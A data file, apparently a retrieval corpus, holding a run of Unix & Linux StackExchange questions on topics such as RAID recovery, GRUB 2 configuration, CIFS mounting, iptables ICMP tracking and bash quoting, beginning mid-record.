logs out it would remove that directory again. The problem I ran into is the following, I need to set a home in `/etc/passwd` and I can overwrite the HOME environment variable without a problem, but applications still seem to use the home set in `passwd` instead of the environment variable, at least in a graphical environment. I can not set the home in `passwd` because I do not know about it until the session has started. The basic logic I came up with looks like this: * login shell started * temporary home created * HOME is set to this temporary home * a real shell is forked * after that real shell terminates, the temporary home is removed This seems to work when I `su` into the user, but running a graphical session means that mot/all programs started use the home set in `passwd`. Is it possible to change a user home on the fly/while a graphical session is active? DId I overlook something in the architecture of how the graphical sessions work?"} {"_id": "46988", "title": "Return value of commands when using stdin?", "text": "Imaging I am executing the following command: echo \"root:mypass\" | chpasswd How can I get the return code / error code returned by chpasswd? Is that possible in this case at all? I tried RET = `echo \"root:mypass\" | chpasswd` but this gives me only \"command not found\"?"} {"_id": "128772", "title": "Persistent folder missing from home folder, despite correct password and no errors", "text": "Tails 1.0 on stick 1. Password entered correctly on login screen for persistent storage (otherwise it would complain.) Booting from another (older) Tails stick, stick 2, can unlock and mount stick 1's persistent storage just fine and see all files. So why when I boot from stick 1 and enter the password correctly, does the Persistent folder not appear in the home folder (not in file browser GUI nor `sudo ls -a ~/`)? There's no error or anything, so why might it be missing?"} {"_id": "128775", "title": "Fastest `uniq` tool in linux", "text": "I have large text file (1.5 G), I want to know what the fastest and more reliable tool in linux is. I usualy use: awk '!x[$0]++' file.txt But when I use `htop` command I see my memory usage is increasing... I want to know whats is the fastest and more reliable one...(for huge files) uniq? sort? sed? awk? And why? Thank you"} {"_id": "42200", "title": "Upgrading Slackware 13.1 to Slackware-current, is it a big leap?", "text": "I have Slackware 13.1 installed on my computer, with some software that I installed via pkgtools, slackbuilds, and compiled. I want to upgrade it to Slackware-current (13.37). Can I safely upgrade this by following UPGRADE.txt? Is this a big leap that will come problem (dependency, version conflict, etc)? What about my additional application that I installed via slackbuilds or compiled, are there any chance that they don't compatible with the newer library version?"} {"_id": "42203", "title": "Turning off dual monitors with \"xset dpms force off\" does not work - why?", "text": "I would like to turn off my dual monitors by running: `xset dpms force off` but just the primary monitor is beeing turned off while the other just gets a \"black screen\" (like if it was turned off) but it is not off. The led is still gleaming green indicating the monitor is on."} {"_id": "42202", "title": "Does the kernel delete entries in /dev on an initramfs?", "text": "I have a fully custom, minimal, embedded Linux (vanilla, 3.3.8, i486, Vortex86dx) system that boots from an initramfs image. No standard distribution scripts are used, just a single rcS file that does the initialisation. I have an IDE Flash disk with two partitions at /dev/hda1 and /dev/hda2. As this is a minimal embedded distribution for a fixed system, it has a static /dev directory that contains /dev/hda1 and /dev/hda2, and there is no UDEV. At the point that init calls rcS, the /dev/hda1 entry is no longer present. No other scripts, user applications or daemons have been run at this point. /dev/hda1 _appears_ to have been deleted by the kernel(?) I do not have this same problem if I boot my target via an NFS root filing system during my development process. I use Buildroot to create the /dev directory via the device_table_dev.txt file. e.g. # IDE Devices /dev/hda b 640 0 0 3 0 0 0 - /dev/hda b 640 0 0 3 1 1 1 4 I inspected the rootfs.tar.gz from Buildroot output/images. The /dev directory contains /dev/hda1: brw-r----- 1 root root 3, 0 Jul 2 13:44 hda brw-r----- 1 root root 3, 1 Jul 2 13:44 hda1 brw-r----- 1 root root 3, 2 Jul 2 13:44 hda2 brw-r----- 1 root root 3, 3 Jul 2 13:44 hda3 brw-r----- 1 root root 3, 4 Jul 2 13:44 hda4 My post-boot directory listing (done from within rcS, at the top of the script) on the target looks like this: brw-r----- 1 root root 3, 0 Jul 2 12:44 hda brw-r----- 1 root root 3, 2 Jul 2 12:44 hda2 brw-r----- 1 root root 3, 3 Jul 2 12:44 hda3 brw-r----- 1 root root 3, 4 Jul 2 12:44 hda4 /dev/hda1 is missing. /dev/hda2 is a partition on the same disk yet it is still there. Strange. If I run the Busybox utility \"mdev -s\", it restores/dev/hda1 on the target and it works normally. e.g. I can mount it Has anyone ever seen this behaviour before? Does the kernel delete entries from /dev?"} {"_id": "134061", "title": "IGB-Falsely claims to have parameter note", "text": "Because of some circumstances I have to install SLES 9 SP4 on a nearly new hardware. After the installation there is just a problem my network card(Intel Ethernet Server Adapter I350-T2). After the installation of the igb modul they're detected in Yast. I can now configure them like it should be but after applying the configuration nothing works. And ifconfig shows nothing. When I go back to Yast to check the configuration nothing has changed and my configuration is still there. After a reboot I get the error that the igb modul falsely claims to have the parameter note. I don't know what to do now and google was useless."} {"_id": "134063", "title": "Cant detach/ kill xm console on node server", "text": "please advice, why I cant attach console from xm command? > [root@vm ~]# xm console vm104 > Another console has already been attached to guest"} {"_id": "134065", "title": "Transfer files from CentOS VM VirtualBox to Windows host machine", "text": "How can I transfer the scripts and text files I've created in my CentOS environment and put it in my host desktop (Windows 7)? I've tried using ftp but it needs to configure the routers to use vsftpd, which I do not have administrative privileges. Is there any way I can transfer these files in another approach? Thank you."} {"_id": "48469", "title": "Similar software to SourceTree", "text": "Is there a similar piece of software to SourceTree, a GUI for git, for Linux? I know about Giggle, git cola, etc. I'm looking for a beautiful, easy to use GUI for git."} {"_id": "147629", "title": "Can I safely delete old directories in my home directory?", "text": "I have several hidden directories in my home directory of which I don't know if I need them any more. How do I know if I can safely delete them? For instance, next to the directory `.gimp-2.8` there is also `.gimp-2.4` which dates from two years ago. And it contains more files than the recent one. Now I could move the old one elsewhere, start up the Gimp and see if it behaves differently, but can I be sure that there are no other applications which make use of these older files? And there is a very old directory `.gnome2_private` and I don't even run Gnome, I run KDE. But a quick test shows that when I create a new user on my computer, this directory is created automatically, so it does serve a function, right? And so on. And there are directories that I don't recognise the name of, so I have no idea to which applications they belong. How can I find out about them?"} {"_id": "134628", "title": "1GB huge page - Is writing occurring in 1GB chunks?", "text": "I'm trying to understand the relation between huge page size and how data is actually being written to RAM. What happens when a process uses a 1GB huge page - does writing occur in 1GB chunks? I guessing I'm completely wrong with this assumption?"} {"_id": "44580", "title": "Monitoring interface changes with udev, especially if a route is set", "text": "Is there a way to monitor interface up/downs, especially to check if a route is setup or removed, with udev?"} {"_id": "103277", "title": "How do I create a dialog with multiple text fields using zenity?", "text": "I want to crate a GUI for some command line programs and I need to get info from multiple text fields e.g. 'Username', 'Password' and a checkbox 'Sign automatically?'. I need to set particular variables in my script equal to the respective text fields' input by the user e.g. `user`, `pass`, `login`. Also it would have an OK button and a Quit button. How can I realise this this? I searched online and I was able to find only examples with one text field?"} {"_id": "7362", "title": "Is there an easier way to manipulate GRUB 2 entries?", "text": "Using GRUB 2 is harder than GRUB 1 for these use cases: * It looks like if I want to reorder GRUB 2 menu entries appear in the selection window, I have to rename the files in \" **/etc/grub.d/** \" directory. * If I have to change boot order, I first have to look in \" **/boot/grub/grub.cfg** \", check when the entry I want to be default appears, then set the `GRUB_DEFAULT` parameter in \" **/etc/default/grub** \" to match it (counting from 0). The old GRUB used to allow me to do all of this by just moving text entries in \" **/boot/grub/menu.lst** \" around. This much-simpler way kept me using GRUB 1 for a while. This makes me wonder if there's a specialized tool to make all of this easier."} {"_id": "7363", "title": "How to know the types of windowing system, window manager and desktop environment of a Unix-like OS", "text": "I was wondering what commands/utilities can be used in terminal to know the types of windowing system (such as X window system), window manager (such as Metacity, KWin, Window Maker) and desktop environment (such as KDE, Gnome) of a Linux or other Unix-like operating systems? Thanks!"} {"_id": "7364", "title": "How do I migrate configuration between computers with different hardware?", "text": "I want to migrate the configuration of an Ubuntu desktop to a new box with different hardware. What is the easiest way to do this? /etc/ contains machine and hardware specific settings so I can't just copy it blindly. A similar problem exists for installed packages. edit: This is a move from x86 to x86-64."} {"_id": "44585", "title": "Issue with degraded raid5 after power outage", "text": "I have a raid5 that consists of 8 disks. After a power outage mdadm tells me that the raid is degraded. Here is the output: /dev/md0: Version : 0.90 Creation Time : Sat Jul 10 09:08:28 2010 Raid Level : raid5 Array Size : 13674601472 (13041.12 GiB 14002.79 GB) Used Dev Size : 1953514496 (1863.02 GiB 2000.40 GB) Raid Devices : 8 Total Devices : 7 Preferred Minor : 0 Persistence : Superblock is persistent Update Time : Thu Aug 2 18:42:05 2012 State : clean, degraded Active Devices : 7 Working Devices : 7 Failed Devices : 0 Spare Devices : 0 Layout : left-symmetric Chunk Size : 64K UUID : 09dd4536:a6153f6b:f1f4aaa9:53aab85a Events : 0.9189750 Number Major Minor RaidDevice State 0 8 0 0 active sync /dev/sda 1 8 16 1 active sync /dev/sdb 2 8 96 2 active sync /dev/sdg 3 8 112 3 active sync /dev/sdh 4 8 32 4 active sync /dev/sdc 5 8 48 5 active sync /dev/sdd 6 8 64 6 active sync /dev/sde 7 0 0 7 removed So /dev/sdf is missing. So I tried to get some infos about this drive. smartctl does not report any issues and `fdisk -l` lists it as expected. Lastly I tried `mdadm -E /dev/sdf` and I get this output: /dev/sdf: Magic : a92b4efc Version : 0.90.00 UUID : 09dd4536:a6153f6b:f1f4aaa9:53aab85a Creation Time : Sat Jul 10 09:08:28 2010 Raid Level : raid5 Used Dev Size : 1953514496 (1863.02 GiB 2000.40 GB) Array Size : 13674601472 (13041.12 GiB 14002.79 GB) Raid Devices : 8 Total Devices : 8 Preferred Minor : 0 Update Time : Wed Mar 28 17:19:58 2012 State : clean Active Devices : 8 Working Devices : 8 Failed Devices : 0 Spare Devices : 0 Checksum : afeeecc7 - correct Events : 9081618 Layout : left-symmetric Chunk Size : 64K Number Major Minor RaidDevice State this 7 8 112 7 active sync /dev/sdh 0 0 8 0 0 active sync /dev/sda 1 1 8 16 1 active sync /dev/sdb 2 2 8 32 2 active sync /dev/sdc 3 3 8 48 3 active sync /dev/sdd 4 4 8 64 4 active sync /dev/sde 5 5 8 80 5 active sync /dev/sdf 6 6 8 96 6 active sync /dev/sdg 7 7 8 112 7 active sync /dev/sdh What is the issue here? Should I replace `sdf` or is this repairable? **Update** I also had look at `dmesg` and I get this: [ 9.289086] md: kicking non-fresh sdf from array! [ 9.289090] md: unbind [ 9.296541] md: export_rdev(sdf)"} {"_id": "44587", "title": "Mono spits out too many errors after update, try to reinstall, more errors", "text": "I had errors with `apt-get update && apt-get dist-upgrade`, from mono mono, so I tried this instead: `sudo apt-get install --reinstall banshee banshee-extension-soundmenu banshee- extension-ubuntuonemusicstore giver libappindicator0.1-cil libart2.0-cil libavahi1.0-cil libgconf2.0-cil libgdata1.7-cil libgkeyfile1.0-cil libglade2.0-cil libglib2.0-cil libgmime2.4-cil libgnome-vfs2.0-cil libgnome2.24-cil libgtk-sharp-beans-cil libgtk2.0-cil libgudev1.0-cil liblaunchpad-integration1.0-cil libmono-addins-gui0.2-cil libmono- addins0.2-cil libmono-cairo2.0-cil libmono-corlib1.0-cil libmono-corlib2.0-cil libmono-data-tds1.0-cil libmono-data-tds2.0-cil libmono-i18n-west1.0-cil libmono-i18n-west2.0-cil libmono-management2.0-cil libmono-messaging2.0-cil libmono-posix2.0-cil libmono-security1.0-cil libmono-security2.0-cil libmono- sharpzip0.84-cil libmono-sharpzip2.84-cil libmono-sqlite2.0-cil libmono- system-data-linq2.0-cil libmono-system-data1.0-cil libmono-system-data2.0-cil libmono-system-messaging2.0-cil libmono-system-web1.0-cil libmono-system- web2.0-cil libmono-system1.0-cil libmono-system2.0-cil libmono-wcf3.0-cil libmono-zeroconf1.0-cil libmono1.0-cil libmono2.0-cil libndesk-dbus- glib1.0-cil libndesk-dbus1.0-cil libnotify0.4-cil libtaglib2.0-cil libubuntuone1.0-cil mint-meta-gnome-dvd mono-2.0-gac mono-csharp-shell mono- gac mono-gmcs mono-runtime tomboy > ./errors2.txt` http://pastebin.com/YJszy4q4 Reading package lists... Building dependency tree... Reading state information... The following packages were automatically installed and are no longer required: libcommons-pool-java libtomcat6-java libcommons-dbcp-java Use 'apt-get autoremove' to remove them. 0 upgraded, 0 newly installed, 60 reinstalled, 0 to remove and 0 not upgraded. 56 not fully installed or removed. Need to get 0 B/1,846 kB of archives. After this operation, 0 B of additional disk space will be used. (Reading database ... 334292 files and directories currently installed.) Preparing to replace libmono-posix2.0-cil 2.6.7-5ubuntu3.1 (using .../libmono-posix2.0-cil_2.6.7-5ubuntu3.1_all.deb) ... Unpacking replacement libmono-posix2.0-cil ... Preparing to replace libmono-security2.0-cil 2.6.7-5ubuntu3.1 (using .../libmono-security2.0-cil_2.6.7-5ubuntu3.1_all.deb) ... Unpacking replacement libmono-security2.0-cil ... Preparing to replace libmono-system2.0-cil 2.6.7-5ubuntu3.1 (using .../libmono-system2.0-cil_2.6.7-5ubuntu3.1_all.deb) ... Unpacking replacement libmono-system2.0-cil ... Preparing to replace mono-2.0-gac 2.6.7-5ubuntu3.1 (using .../mono-2.0-gac_2.6.7-5ubuntu3.1_all.deb) ... Unpacking replacement mono-2.0-gac ... Processing triggers for man-db ... Setting up libmono-posix2.0-cil (2.6.7-5ubuntu3.1) ... Setting up libmono-system2.0-cil (2.6.7-5ubuntu3.1) ... Setting up libmono-security2.0-cil (2.6.7-5ubuntu3.1) ... Setting up mono-2.0-gac (2.6.7-5ubuntu3.1) ... Setting up mono-gac (2.6.7-5ubuntu3.1) ... * Installing 3 assemblies from libappindicator0.1-cil into Mono E: installing Assembly /usr/lib/cli/appindicator-sharp-0.1/appindicator-sharp.dll failed E: Installation of libappindicator0.1-cil with /usr/share/cli-common/runtimes.d/mono failed * Installing 6 assemblies from libart2.0-cil into Mono E: installing Assembly /usr/lib/cli/art-sharp-2.0/art-sharp.dll failed E: Installation of libart2.0-cil with /usr/share/cli-common/runtimes.d/mono failed * Installing 1 assembly from libavahi1.0-cil into Mono E: installing Assembly /usr/lib/cli/avahi-sharp-1.0/avahi-sharp.dll failed E: Installation of libavahi1.0-cil with /usr/share/cli-common/runtimes.d/mono failed * Installing 6 assemblies from libgconf2.0-cil into Mono E: installing Assembly /usr/lib/cli/gconf-sharp-2.0/gconf-sharp.dll failed E: Installation of libgconf2.0-cil with /usr/share/cli-common/runtimes.d/mono failed * Installing 14 assemblies from libgdata1.7-cil into Mono E: installing Assembly /usr/lib/cli/Google.GData.AccessControl-1.7/Google.GData.AccessControl.dll failed E: Installation of libgdata1.7-cil with /usr/share/cli-common/runtimes.d/mono failed * Installing 1 assembly from libgkeyfile1.0-cil into Mono E: installing Assembly /usr/lib/cli/gkeyfile-sharp-1.0/gkeyfile-sharp.dll failed E: Installation of libgkeyfile1.0-cil with /usr/share/cli-common/runtimes.d/mono failed * Installing 1 assembly from libglade2.0-cil into Mono E: installing Assembly /usr/lib/cli/glade-sharp-2.0/glade-sharp.dll failed E: Installation of libglade2.0-cil with /usr/share/cli-common/runtimes.d/mono failed * Installing 1 assembly from libglib2.0-cil into Mono E: installing Assembly /usr/lib/cli/glib-sharp-2.0/glib-sharp.dll failed E: Installation of libglib2.0-cil with /usr/share/cli-common/runtimes.d/mono failed * Installing 1 assembly from libgmime2.4-cil into Mono E: installing Assembly /usr/lib/cli/gmime-sharp-2.4/gmime-sharp.dll failed E: Installation of libgmime2.4-cil with /usr/share/cli-common/runtimes.d/mono failed * Installing 2 assemblies from libgnome2.24-cil into Mono E: installing Assembly /usr/lib/cli/gnome-sharp-2.24/gnome-sharp.dll failed E: Installation of libgnome2.24-cil with /usr/share/cli-common/runtimes.d/mono failed * Installing 6 assemblies from libgnome-vfs2.0-cil into Mono E: installing Assembly /usr/lib/cli/gnome-vfs-sharp-2.0/gnome-vfs-sharp.dll failed E: Installation of libgnome-vfs2.0-cil with /usr/share/cli-common/runtimes.d/mono failed * Installing 5 assemblies from libgtk2.0-cil into Mono E: installing Assembly /usr/lib/cli/gtk-sharp-2.0/gtk-sharp.dll failed E: Installation of libgtk2.0-cil with /usr/share/cli-common/runtimes.d/mono failed * Installing 1 assembly from libgudev1.0-cil into Mono E: installing Assembly /usr/lib/cli/gudev-sharp-1.0/gudev-sharp.dll failed E: Installation of libgudev1.0-cil with /usr/share/cli-common/runtimes.d/mono failed * Installing 1 assembly from liblaunchpad-integration1.0-cil into Mono E: installing Assembly /usr/lib/cli/launchpad-integration-sharp-1/launchpad-integration-sharp.dll failed E: Installation of liblaunchpad-integration1.0-cil with /usr/share/cli-common/runtimes.d/mono failed * Installing 7 assemblies from libmono-addins0.2-cil into Mono E: installing Assembly /usr/lib/cli/Mono.Addins-0.2/Mono.Addins.dll failed E: Installation of libmono-addins0.2-cil with /usr/share/cli-common/runtimes.d/mono failed * Installing 3 assemblies from libmono-addins-gui0.2-cil into Mono E: installing Assembly /usr/lib/cli/Mono.Addins.Gui-0.2/Mono.Addins.Gui.dll failed E: Installation of libmono-addins-gui0.2-cil with /usr/share/cli-common/runtimes.d/mono failed * Installing 5 assemblies from libmono-zeroconf1.0-cil into Mono E: installing Assembly /usr/lib/cli/Mono.Zeroconf-1.0/Mono.Zeroconf.dll failed E: Installation of libmono-zeroconf1.0-cil with /usr/share/cli-common/runtimes.d/mono failed * Installing 1 assembly from libndesk-dbus1.0-cil into Mono E: installing Assembly /usr/lib/cli/NDesk.DBus-1.0/NDesk.DBus.dll failed E: Installation of libndesk-dbus1.0-cil with /usr/share/cli-common/runtimes.d/mono failed * Installing 1 assembly from libndesk-dbus-glib1.0-cil into Mono E: installing Assembly /usr/lib/cli/NDesk.DBus.GLib-1.0/NDesk.DBus.GLib.dll failed E: Installation of libndesk-dbus-glib1.0-cil with /usr/share/cli-common/runtimes.d/mono failed * Installing 1 assembly from libnotify0.4-cil into Mono E: installing Assembly /usr/lib/cli/notify-sharp-0.4/notify-sharp.dll failed E: Installation of libnotify0.4-cil with /usr/share/cli-common/runtimes.d/mono failed * Installing 2 assemblies from libtaglib2.0-cil into Mono E: installing Assembly /usr/lib/cli/taglib-sharp-2.0/taglib-sharp.dll failed E: Installation of libtaglib2.0-cil with /usr/share/cli-common/runtimes.d/mono failed * Installing 1 assembly from libubuntuone1.0-cil into Mono E: installing Assembly /usr/lib/cli/ubuntuone-sharp-1.0/ubuntuone-sharp.dll failed E: Installation of libubuntuone1.0-cil with /usr/share/cli-common/runtimes.d/mono failed dpkg: error processing mono-gac (--configure): subprocess installed post-installation script returned error exit status 9 dpkg: dependency problems prevent configuration of mono-runtime: mono-runtime depends on mono-gac (= 2.6.7-5ubuntu3.1); however: Package mono-gac is not configured yet. dpkg: error processing mono-runtime (--configure): dependency problems - leaving unconfigured (\u2026) dpkg: too many errors, stopping Errors were encountered while processing: mono-gac mono-runtime libmono-corlib2.0-cil (\u2026) I have Linux Mint 11 x64."} {"_id": "118433", "title": "Quoting within $(command substitution) in Bash", "text": "In my Bash environment I use variables containing spaces, and I use these variables within command substitution. Unfortunately I cannot find the answer on SE. What is the correct way to quote my variables? And how should I do it if these are nested? DIRNAME=$(dirname \"$FILE\") or do I quote outside the substitution? DIRNAME=\"$(dirname $FILE)\" or both? DIRNAME=\"$(dirname \"$FILE\")\" or do I use back-ticks? DIRNAME=`dirname \"$FILE\"` What is the right way to do this? And how can I easily check if the quotes are set right?"} {"_id": "11939", "title": "How to get only the unique results without having to sort data?", "text": "$ cat data.txt aaaaaa aaaaaa cccccc aaaaaa aaaaaa bbbbbb $ cat data.txt | uniq aaaaaa cccccc aaaaaa bbbbbb $ cat data.txt | sort | uniq aaaaaa bbbbbb cccccc $ The result that I need is to **display all the lines from the original file removing all the duplicates (not just the consecutive ones), while maintaining the original order of statements in the file**. Here, in this example, the result that I actually was looking for was aaaaaa cccccc bbbbbb How can I perform this generalized `uniq` operation in general?"} {"_id": "11937", "title": "I'm confused as to why \"| true\" in a makefile has the same effect as \"|| true\"", "text": "I have a makefile where I'm stopping a service before removing a file. When it couldn't stop the service, it would break on error. This is clearly unwanted so I thought I'd add `|| true` but missed a `|`. Making it: stop service foo | true rm /etc/init/foo.conf I'm confused as to why this is working and what is happening. Does this mean that `true` is an application and not merely a keyword? Are they the same? Is there a good reason to use `| true`?"} {"_id": "11936", "title": "How can I program vncserver to automatically setup my shells for me?", "text": "I use VNC to connect to a hosted machine. Whenever I start a VNC server at some port and connect to it, I first need to setup my shells for me - 5 of them in a particular configuration that I like and then start my work. Is there a way to automate this task so that whenever a VNC server is started, my shells are already configured and ready for me to use?"} {"_id": "11933", "title": "Copy and set-mark in Bash as in Emacs?", "text": "I would like to be able to copy and paste text in the command line in Bash using the same keyboard bindings that Emacs uses by default (i.e. using `C-space` for `set-mark`, `M-w` to copy text, `C-y`, `M-y` to paste it, etc.). The GNU Bash documentation says that Bash comes with some of these key bindings set up by default. For example, yanking (`C-y`) works by default on my terminal. However, I can't get the `set-mark` and `copy` commands to work, and they don't seem to be bound to any keys by default. Usually, the way a user can define her own key bindings is to add them to `.inputrc`. So I looked and found the following bash functions in the documentation that I presume can help me define the Emacs-like behavior that I want (i.e. `set-mark` with `C-space` and `copy` with `M-w`). copy-region-as-kill () > Copy the text in the region to the kill buffer, so it can be yanked right > away. By default, this command is unbound. and set-mark (C-@) > Set the mark to the point. If a numeric argument is supplied, the mark is > set to that position. If I understand correctly, the above means that `copy-region-as-kill` is not bound to any keyboard sequence by default, while `set-mark` is bound to `C-@` by default. I tried `C-@` on my terminal, but I don't think it runs `set-mark` because I don't see any text highlighted when I move my cursor. In any case, I tried adding keyboard bindings (`M-w` and `C-`) to the functions `copy-region-as- kill` and `set-mark` above in my `.inputrc` and then reloading it with `C-x C-r`, but this didn't work. I know that my other entries in `.inputrc` work because I have other user-defined keybindings defined in it. Is there anything I am doing wrong? Am I missing anything?"} {"_id": "11932", "title": "How can I create multiple files in the current directory in bash?", "text": "Is there a command to create multiple files in the current directory? i.e. if I would like to create `__init__.py`, `views.py`, `models.py` and `admin.py` as follows: > COMMAND __init__.py views.py models.py admin.py What would `COMMAND` be?"} {"_id": "70415", "title": "Backtrack mp3 problem", "text": "I've installed Backtrack but I can't figure out how to play mp3files. I've installed ubuntu-restricted-extras,lame, libmp3lame but still won't work(I have Rhythmbox player, I've also tried Amarok). Any ideas?"} {"_id": "134629", "title": "Apply item replacement inside enumerate in Perl regex?", "text": "Data 7. Masi is the same as \\begin{enumerate} A B ABC ha lorem \\end{enumerate} 1. ABC is \\begin{enumerate} P B Lorem maam \\end{enumerate} which I want to be 7. Masi is the same as \\begin{enumerate} \\item A \\item B \\item ABC ha lorem \\end{enumerate} 1. ABC is \\begin{enumerate} \\item P \\item B \\item Lorem maam \\end{enumerate} My startup regex is based on this answer > > perl -000pe > s/\\n/\\n\\\\begin{enumerate}\\n [A-Za-z1-9]* \\end{enumerate}/ > ... [problem here!] > masi.tex > where * -000 : activate Perl's paragraph mode, this causes \"lines\" to be defined by two consecutive newlines (\\n\\n), so that each of your questions is treated as a single line. * -pe : read each line of the input file and print it (-p) after applying the script passed as -e. I want to replace the beginning of each new line inside the match with `\\item`. My pseudocode for **problem here code** > s/\\n/\\item /g to apply things inside enumerate environment. How"} {"_id": "70411", "title": "mount -t cifs: \"Operation not supported\", but can connect via smbclient", "text": "After sysadmin replaced the NAS, I can no longer mount the network share with sudo mount -t cifs //netgear.local/public /media/mountY -o uid=1000,iocharset=utf8,username=\"adam\",password=\"password\" Both NAS are linux-based, one with Samba 3.5.15 (the old one) and the other with Samba 3.5.16 (the new one) (information obtained from smbclient) I can, however, log in and use the share with the help of `smbclient`, like this: smbclient //NETGEARV2/public -U adam What can I do? There is no `smbmount` on Linux Mint (nor on Ubuntu) anymore. When I check `dmesg` I get this info: CIFS VFS: Send error in QFSUnixInfo = -95 CIFS VFS: cifs_read_super: get root inode failed"} {"_id": "59179", "title": "Have Sun keyboard moon key (116) not shut down my computer", "text": "On my Sun keyboard, the top-rightmost key (with a moon image, right above the keypad) shuts down my computer. I'd like it not to, as I hit it by mistake now and then. In `/etc/default/keyboard`, I only have XKBMODEL=\"inspiron\" XKBLAYOUT=\"us\" XKBVARIANT=\"\" XKBOPTIONS=\"compose:lwin,terminate:ctrl_alt_bksp\" With `showkey`, for this key, I get kb mode was UNICODE [ if you are trying this under X, it might not work since the X server is also reading /dev/console ] press any key (program terminates 10s after last keypress)... keycode 28 release keycode 116 press keycode 116 release caught signal 1, cleaning up... So the key is identified as 116 by showkey. **EDIT** (in response to Mr. Szabo below) So, there are **two** keys involved here: The key I describe above (on my Sun keyboard), **and** the power button on my laptop hull. However, the computer seems to interpret those keys equivalently. I'd like the button on my laptop to work as as power button, as then, I can turn off my computer without having to type the super user password after `shutdown`. However, I don't like the keyboard key to work this way, as it is next to the volume control, and above the numpad; it is easy to hit it by mistake. I **do** have `acpid` - but the empty files `power` and `powerbtn` in `/etc/acpid/events/` did not have any affect; as for the script you mention, I don't have it. But, by renaming `/etc/rc2.d/S15acpid` so it won't run (i.e., lowercasing the initial `S`), **neither** key will reboot the computer. And I guess that's a fall forward as I prefer typing the super user keyword to accidentally shutting down my computer."} {"_id": "59173", "title": "Remote shell script Enter passphrase for", "text": "How can I run a script to log into a remote server and execute a remote ssh command without entering in my passphrase? **For example:** When I log onto a remote server and execute the `git pull` command I see `ssh` prompt me for my passphrase: $ git pull origin master Enter passphrase for /home/v3ed2/.ssh/id_rsa: Once I enter my passphrase I continue with the command. I want to run a script that will log into the remote server and run the command for me. I already tried this script: ssh ve \"cd clients/ ; git pull\" However, when the script runs, it does not prompt me for my passphrase. The script just hangs while it waits for my passphrase, but when I try to enter a passphrase, I get the error: bash: line 1: [REDACTED]: command not found"} {"_id": "38808", "title": "Why is cd not a program?", "text": "I've always wondered why `cd` isn't a program, but never managed to find the answer. Anyone know why this is the case?"} {"_id": "116955", "title": "where is `cd` located?", "text": "In a bash sub shell I get the following error when running cd sudo: cd: command not found This is expected because I don't have a path. Usually to work around this I just provide the full path like so: (/usr/local/bin/foo) Much to my surprise, `cd` does not appear to be in any of the normal places. which cd whereis cd ls /bin | grep cd By comparison, `ls` is right where I would expect. which ls /bin/ls Where is the `cd` command located? And why is different from all the other commands? **Update** Another interesting tidbit, cd does not show up in `hash` hash 0 /bin/ls 2 /usr/bin/find 2 /sbin/ip 1 /usr/bin/updatedb 1 /usr/bin/apt-get"} {"_id": "123457", "title": "What happens when we type a simple command on shell?", "text": "I have a simple doubt on execution of a simple command. As per my understanding, when we type a command such as `ls` on interactive shell, 1. Shell interpretes the command. 2. Shell creates a child process and excecutes the command on the child process. 3. Shell waits for the child process's completion. If my understanding is correct, a simple command we typed on shell prompt is executed on a child process and the command' result does not affect current shell's enviroment. If so, what about built-in commands like `cd`? If `cd` is executed on a child process and can not affect current shell's enviroment, how the current shell's working directory can be changed?"} {"_id": "59170", "title": "iptables will match the following ICMP request packet as ESTABLISHED state after the first reply packet is sent", "text": "Test environment: CentOS 6.3 - kernel 2.6.32-279.el6.i686, iptables v1.4.7 Win7 <---> CentOS Windows is constantly replaying ICMP echo request in 10pkt/sec rate to CentOS. In iptables, I added the rules as below to limit the incoming icmp request packet rate. But it didn't work. Because after the 1st incoming icmp request was accepted by the 1st rule and my host replied, all the following icmp request will accepted by the 2nd rule, which will accept the incoming icmp request as ESTABLISHED state packet. I think this doesn't make sense. ![enter image description here](http://i.stack.imgur.com/pZ4ey.jpg) I checked the \"Iptables Tutorial 1.2.2\" and I found the statement as below. http://www.frozentux.net/iptables-tutorial/iptables-tutorial.html#STATEMACHINE > The reply packet is considered as being ESTABLISHED, as we have already > explained. However, we can know for sure that after the ICMP reply, there > will be absolutely no more legal traffic in the same connection. For this > reason, the connection tracking entry is destroyed once the reply has > traveled all the way through the Netfilter structure. In each of the above > cases, the request is considered as NEW, while the reply is considered as > ESTABLISHED. However, I found the conntrack entry was always there in `/proc/net/nf_conntrack` after the 1st reply was sent. ipv4 2 icmp 1 24 src=192.168.56.1 dst=192.168.56.101 type=8 code=0 id=1 src=192.168.56.101 dst=192.168.56.1 type=0 code=0 id=1 mark=0 secmark=0 use=2 I think each incoming ICMP request should be treated as NEW state not ESTABLISHED even a icmp connection has been establised. Correct me if I don't understand the state match in a proper way."} {"_id": "145512", "title": "Allow non-root unmodifiable sofware to bind to ports 80 & 443", "text": "The company I'm in uses the Java Secure Application Manager to \"secure\" non- internal connections their webmail and electronic collaboration software. Aside from using expired certificates, and missing the permissions JAR File Manifest Attributes, the sofware runs fine, except it needs to bind to ports 80 and 443, which means to run it, i need to be running the Icedtea plugin in Firefox running as root. Is there anyway i can let this application access to those ports without needing to run it as root. (For security reasons)."} {"_id": "121648", "title": "Debian - How to find out if a package is multiarchified? Dependency changes as bug report", "text": "I'm using Debian Wheezy 64bit and wine is only existing in a 32bit version. So I added multiarch support. But when I want to install winetricks it's dependencies are `depends on wine | wine-unstable` and not `depends on wine | wine-unstable | wine:i386` So, aptitude suggests to install the dummy 64bit package or to not install winetricks... which doesn't make a lot of sense :) So, I wonder if I have to report a bug because winetricks' dependencies are wrong. For me it seems like that, but I would expect that bug report already to be written. How do I find out if a package has already been multiarchified? Will this issue be solved by only adding the `| wine:i386` in the package informations? Shall I write a bug report in such cases?"} {"_id": "121640", "title": "How do I stop Caja from closing when a drive is disconected?", "text": "Caja 1.6.2 on Mint 16. When the network goes down, the Caja manager connected to a remote server via SSHFS closes itself. I want to disable this behaviour. It should just turn gray or something until the network is back."} {"_id": "121646", "title": "Specify a fallback file for a broken symbolic link", "text": "I want to create a symlink, `foo.txt`, needed at system startup, to another file, `bar.txt` on a different mount point. The mounted partitions are different physical drives as well. ln -s /baz/bar.txt /foo.txt **EDIT:** So far no problem. The Symlink is created and is valid. The question relates to what will happen when partition at `/bar` disappears. **/EDIT** My dilemma is this, the partition mounted at `/baz` may not be present at startup. My question -> To avoid obvious problems, can I specify a fall back file _at the filesystem level_ that the symlink will resolve to rather than simply breaking? Or am i stuck doing this at the application level? Using Debian linux on an ext4 (the default for the latest release of Debian) filesystem FWIW."} {"_id": "121647", "title": "Is there a way to 'tee' input to a program or script?", "text": "I'm trying to find a way to use an input file for a program in such a way that I can also use stdin. For example, say I have a SQL script that creates a table. I invoke it like this: mysql -p database < script.sql This is great, but it exits out of mysql when the script is finished. Instead, I want to run other queries manually without being logged out of mysql. I know 